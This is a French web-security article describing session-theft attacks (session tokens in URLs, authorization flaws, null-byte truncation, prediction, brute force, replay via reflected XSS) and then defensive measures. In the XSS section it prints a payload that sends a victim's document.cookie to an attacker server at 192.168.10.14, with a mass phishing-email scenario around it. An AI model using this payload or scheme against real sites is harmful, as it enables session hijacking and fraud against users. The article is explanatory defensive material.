LES ATTAQUES DE VOLS DE SESSION

Avec le développement des vols de données personnelles (notamment avec les attaques de Phishing), la sécurité des sessions est devenue un des enjeux majeurs des applications web.
Nous tenterons de vous dévoiler les ficelles et les techniques d'attaques les plus répandues.

Les pirates ont longtemps compté sur des erreurs d'implémentation système, réseau ou logicielle pour pénétrer des systèmes et voler des informations sensibles. Aujourd'hui, les entreprises mesurent pleinement les enjeux de sécurité du réseau et des systèmes du fait de leur expérience. La gestion des correctifs, le durcissement de système ou encore, la séparation des flux réseaux constituent des processus courants par la majorité.

Parallèlement, la sécurité de la couche applicative est négligée car elle n'est pas considérée à sa juste valeur. En effet, ces composants sont aussi sensibles que leurs couches sous-jacentes. Les pirates l'ont bien compris, toujours à l'affût du maillon faible, ils s'attaquent aux différents mécanismes qui composent cette couche.

Nous allons donc vous présenter dans les paragraphes ci-dessous les différentes attaques qui peuvent être menées à l'encontre d'un système de gestion des sessions.

Les différentes attaques

Le vol de session

L'enjeu des sessions lors d'une connexion à un site web est de garder en mémoire des informations relatives à l'utilisateur connecté.
Si un attaquant réussit à intercepter ou à forger un jeton de session valide, celui-ci sera en mesure de voler la session d'un utilisateur légitime.

Le risque de vol de session peut être réduit via l'ajout de fonctions de contrôle spécifiques à l'applicatif. Le niveau de contrôle implémenté doit être relatif à la criticité des données hébergées. L'impact d'un vol de session pourrait être délicat pour une banque en ligne mais pas pour un forum ou un site d'information quelconque. Les applications web les plus exposées sont celles qui utilisent des jetons de session dans l'URL (sans expiration). Ceux-ci se révèlent particulièrement dangereux lorsque les accès à Internet sont publiques (cybercafés), car il est souvent impossible de vider le cache ou l'historique du navigateur du fait des restrictions du poste.

Pour attaquer de telles applications web, il suffit simplement d'ouvrir l'historique du navigateur et de cliquer sur l'URL de l'application : vous voilà connectés comme l'utilisateur précédent.

Session Authentification Attacks

Une des erreurs les plus communes consiste à ne pas contrôler suffisamment l'authentification avant d'exécuter une fonction restreinte ou d'accéder à des données confidentielles.
Un exemple réel particulièrement désastreux fut le cas du site de l'Australian Taxation Office's GST, site au sein duquel la plupart des entreprises australiennes déclarent leurs impôts. Le site de l'ATO utilise un certificat numérique client pour authentifier ses utilisateurs. A première vue, cela semble très sécurisé, non ? Malheureusement, le site utilisait le numéro ABN (un identifiant unique pour chaque entreprise, une sorte de numéro de sécurité sociale) dans l'URL.


Ces numéros ABN ne sont ni secrets ni aléatoires ; tout un chacun peut librement connaître le numéro ABN d'une entreprise. Un utilisateur, ayant remarqué ce numéro ABN dans l'URL, a, tout simplement, changé ce dernier par celui d'une autre entreprise. A sa grande surprise, cela a fonctionné. Il a pu lire les informations de l'autre société. Cet utilisateur a alors écrit un script parcourant automatiquement la base de données et a envoyé un courrier électronique à toutes les entreprises pour leur indiquer que le site ATO souffrait d'une importante faille de sécurité. Plus de 17000 entreprises ont reçu ce courrier !

Vous pensez peut être que cette histoire est un cas isolé et que la majeure partie des entreprises fait appel à des développeurs soucieux de la sécurité...Notre expérience nous démontre quotidiennement que ce genre de problèmes est plus courant qu'il n'y parait.

Attaques sur la validation des sessions

Comme pour toutes les données envoyées par l'utilisateur, le jeton de session doit, à sa réception par le serveur, être correctement contrôlé et validé afin de s'assurer que son format est correct, qu'il ne contient aucun caractère spécial et qu'il est bien présent dans la table des sessions.

Lors d'un test d'intrusion, il est parfois possible d'utiliser un caractère nul (" null byte " ou \0x00) pour tronquer en deux parties la variable de session. Ainsi, le gestionnaire de session peut être trompé : la variable de session n'est comparée que sur sa première partie. Une correspondance peut alors facilement être trouvée dans la table de session, la comparaison ne s'effectuant que sur une partie des caractères. Ce genre d'erreurs est moins fréquent et de moins en moins de sites sont vulnérables à ce type d'attaque.

Attaques par prédiction de session

D'autres possibilités sont offertes à l'attaquant. En utilisant des jetons de session non robustes, le pirate peut voler la session d'un autre utilisateur en devinant le cookie de session de sa victime.

Celui-ci exploitera les propriétés de votre application pour prédire un numéro de session valide, ou déjà utilisé, dans le but de contourner les contrôles d'accès. Vous pouvez tester ce point en entrant le session-ID n'importe où, en dehors d'un cookie de session non persistant. Par exemple, si vous utilisez PHP, copier un session-ID valide depuis le cookie et insérez le via l'URL (ou un paramètre POST) de la manière suivante : http://www.example.com/foo.php?PHPSESSIONID=xxxxxxx Si ce rejeu fonctionne, votre application est vulnérable. En particulier si le session ID reste valide après l'expiration ou la déconnexion de la session.

Les attaques par force brute (bruteforce)

Certains sites de e-Commerce emploient des numéros de session consécutifs et facilement prédictibles.

Sur ces sites, il est aisé de modifier son numéro de session pour voler la session d'un autre utilisateur. Dans un tel scénario, toutes les fonctions qui étaient disponibles pour l'utilisateur piraté, le devienne pour l'attaquant et laissent libre cours aux tentatives de fraudes et au vol d'informations. Vous pouvez vérifier la solidité de vos jetons de session ententant une attaque de brute force. Pour cela, ouvrez une session valide dans un navigateur et utilisez un outil de bruteforce de session comme Brutus. Si ce dernier est capable de reprendre, plutôt que de " voler ", la session, votre plateforme de développement nécessite un degré d'entropie plus élevé pour la génération des jetons de session.

Le rejeu des jetons de session (replay) : Cross Site Scripting

Les attaques par rejeu de session sont relativement simples si l'attaquant à la possibilité de voler le cookie de session. En effet, une des attaques les plus en vogue du moment se nomme " XSS " ou attaque de Cross Site Scripting. Beaucoup de personnes qui travaillent au sein d'une cellule sécurité connaissent ce fléau qui touche un très grand nombre de sites web. Le principe est que le pirate s'attaque à l'utilisateur plutôt qu'à l'application.

La mise en oeuvre est relativement simple. L'attaque consiste à trouver un paramètre non filtré (c'est-à-dire non contrôlé par le serveur web) afin d'injecter un code Javascript. Une URL sera spécialement conçue par l'attaquant puis envoyée à la victime pour que ce dernier suive le lien malveillant.

Pour éclaircir cette attaque, imaginons un scénario simple. L'utilisateur A est connecté au site de sa banque " www.bank-on-line.com ". Le pirate, qui a analysé l'application, découvre le paramètre " try " au sein duquel on peut injecter un code Javascript :

http://www.banque-en-ligne.com/index.asp?try = <scr!pt >alert('XMCO-PARTNERS!');</scr!pt >

L'appel de cette URL affiche immédiatement à l'écran le mot " XMCO-PARTNERS " dans une boite de dialogue. A cet instant, le pirate confirme que l'application est vulnérable. Il peut alors créer un code Javascript malicieux qui permettra d'envoyer le cookie de session de la victime sur un serveur tiers en écoute.
Le code suivant inséré dans le paramètre " try " se charge de récupérer le cookie de la victime.

http://www.bank-en-ligne.com/index.asp? try= %3Cscr!pt%3Edocument.write("<img src=http://192.168.10.
14/n.cgi?".concat(esca pe(doc ument.cookie)))%3C/scr!pt%3E" >

A ce stade de l'attaque, le pirate n'est plus maître du résultat. En effet, il insère ce lien dans un e-mail et incite la victime à cliquer sur ce lien. L'utilisateur devra suivre le lien afin de forcer son navigateur à nous renvoyer son cookie de session.

Voici la forme de courriel qu'un utilisateur abusé pourrait recevoir :

Le code malveillant est bien sûr camouflé derrière l'URL " https://bank-on-line.com/activation.asp ". L'e-mail rédigé est soigneusement préparé (avec un logo approprié, l'émetteur de l'e-mail ...) afin de paraîtr
e le plus légitime possible. Les pirates profitent de la crédulité des utilisateurs et envoient des e-mails aux contenus divers (problème technique sur un site bancaire, erreur lors de l'authentification, ajout d'une nouvelle fonctionnalité, etc.).
Dès qu'un utilisateur ouvre notre e-mail malicieux et clique sur le lien en étant connecté sur le site https://Client, une requête part de son navigateur vers le serveur Client qui renvoie une page avec le javascript malicieux. Le navigateur interprète le javascript reçu et entreprend une recherche d'image sur notre serveur (192.168.10.14).
Comme le nom de l'image est constitué du cookie de session, préalablement récupéré par le navigateur de l'utilisateur, on observe donc sur notre serveur la requête présentée ci-dessous.

Voici une capture d'écran de la machine du pirate (192.168.10.14) réalisée à partir d'une écoute sur le port http (tcp/80):

Cookie de session récupéré par le pirate
Le pirate récupère donc immédiatement le cookie de session de l'utilisateur.
De son côté, l'utilisateur lésé voit apparaître une page du site Client avec une tentative de chargement d'image qui ne se terminera jamais. Le pirate peut alors venir se connecter sur le site vulnérable en utilisant le cookie volé.
Comme vous l'avez compris, le succès d'une telle attaque repose sur plusieurs paramètres :


Au premier abord, il semble très difficile d'amener un client à ouvrir une page malicieuse comme la nôtre. Ce genre d'attaque est donc réalisé à grande échelle (tous les clients de la banque " banque-on-line) en espérant que l'un d'entre eux, connecté à ce site, accepte de cliquer sur le lien créé par l'attaquant.

Voici le synoptique de l'attaque :


1. Envoi de nombreux e-mail aux clients L'attaquant forge un e-mail trompeur et l'envoie massive- ment à toutes les adresses e-mail des clients.
2. Certains utilisateurs ouvrent l' e-mail et cliquent sur le lien Certains utilisateurs déjà connectés sur l'application ouvrent le message et visitent le site. Leurs navigateurs répercutent la requête XSS vers le serveur Client.
3. Le serveur renvoie la page contenant le javascript malicieux.
4. Les navigateurs renvoient les cookies de session au pirate.
5. Le pirate récupère les cookies et ouvrent les sessions.
-Le serveur doit être vulnérable au Cross Site Scripting ;
- Le pirate connaît l' e-mail d'un utilisateur connecté au site affecté par la vulnérabilité ;
- L'utilisateur accepte d'ouvrir un e-mail ou de visiter un lien URL reçu par e-mail.

Comment protéger votre application ?

Plusieurs points sensibles doivent être contrôlés afin de garantir la solidité de la méthode de gestion des sessions.

La fermeture des sessions

La fermeture des sessions constitue un enjeu essentiel : en effet, chaque session doit être fermée proprement. Pour cela, il est indispensable de proposer une fonction explicite de déconnexion. Celle-ci doit effacer toutes les variables de session et désactiver les cookies résiduels. Par ailleurs, il est vivement conseiller d'implémenter une date d'expiration pour les cookies persistants (pas plus de 24 heures) et de préférer les cookies non persistants (cookies volatiles). Enfin les meilleurs pratiques recommandent également de ne pas utiliser un paramètre de l'URL, ou d'autres points d'entrée facilement manipulables, pour stocker le jeton de session.

La génération des jetons

La génération des jetons de session doit être solide. Il est déconseillé de développer son propre algorithme qui risque de souffrir de problèmes diverses. Nous vous recommandons de choisir un algorithme cryptographique connu et de choisir des vecteurs d'initialisation appropriés. L'espace de valeurs doit être suffisamment étendu pour qu'une attaque en bruteforce ne puisse être efficace dans un délai réduit.

Préférez l'utilisation d'un cookie volatile (non persistant) pour stocker le jeton de session. Si ce dernier n'existe pas, utilisez un champ caché des formulaires.

Limitez le nombre de jetons de session pour une même adresse IP cliente (exemple : 20 jetons maximum pour une adresse IP sur une fenêtre de 5 minutes).

Renouvelez périodiquement et automatiquement le jeton de session. Cela réduit fortement la fenêtre d'attaque. Certains administrateurs réservent des jetons non attribués afin d'identifier les attaques de bruteforce. Si vous détectez une telle attaque, nous vous conseillons d'effacer complètement les données de session pour la stopper.

L'envoi des cookies de session

Nous vous conseillons de contrôler les session-Id utilisées par votre plate-forme de développement. Ces dernières sont seulement accessibles via une valeur du cookie. Cela peut requérir un changement de configuration de la plate-forme de développement ou alourdir le mécanisme de gestion des sessions. Utilisez les techniques de fixation de session (voir chapitre suivant) pour rendre étanche le couple navigateur client / Session-ID. Ne confondez pas les sessions " valides " avec les sessions " authentifiées ". Conservez l'état d'authentification secret et contrôlez cette authentification à chaque page ou à chaque point d'entrée.

Contrer les attaques de type XSS

Du côté du serveur, le serveur web doit être mis régulièrement à jour. En effet, dès qu'une faille de ce type est identifiée, les éditeurs publient une nouvelle version (comme ce fut le cas récemment pour le framework Microsoft .NET, corrigé en Octobre dernier). Par ailleurs, les entrées utilisateurs doivent être soigneusement contrôlées et validées avant exécution (type, longueur, neutralisation des caractères spéciaux).

Les caractères suivants doivent être bannis (de même que pour leurs versions encodées) :

! @ $ % ^ & * ( ) - _ + ` ~ \ | [ ] { } ; : ' " ? / , . > <

Ceci évitera l'exécution de code Javascript ainsi que d'autres attaques dont l'injection SQL que nous vous présenterons bientôt.

Autres recommandations

D'autres conseils peuvent être précieux et parer un grand nombre d'attaque :

- Insérez un hash d'une propriété intrinsèque au client lors de la création du jeton de session. Pour cela, utilisez l'adresse IP de l'utilisateur (avec la variable REMOTE_ADDR) et, si possible, la variable d'en-tête http " PROXY_FORWARDED_FOR ". Notez qu'il ne faut pas utiliser directement cette donnée (car elle est modifiable par le client), mais un hash de celle-ci dans la valeur du jeton de session. Si le hash reçu ne correspond pas au hash précédent, il est quasiment certain que vous ayez à faire à une attaque par rejeu.

- Contrôlez en permanence que l'utilisateur connecté possède les droits suffisants pour accéder, mettre à jour ou effacer des données ou plus encore, accéder à certaines fonctions.

- Utilisez des expirations de jeton de session et effectuez un renouvellement régulier de ce dernier afin de réduire la fenêtre d'opportunité des attaques par rejeu.

Bibliographie

David Endler, "Brute-Force Exploitation of Web Application Session IDs" http://www.securityfocus.com/advisories/7143
Ruby CGI::Session creates session files insecurely http://www.securityfocus.com/advisories/7143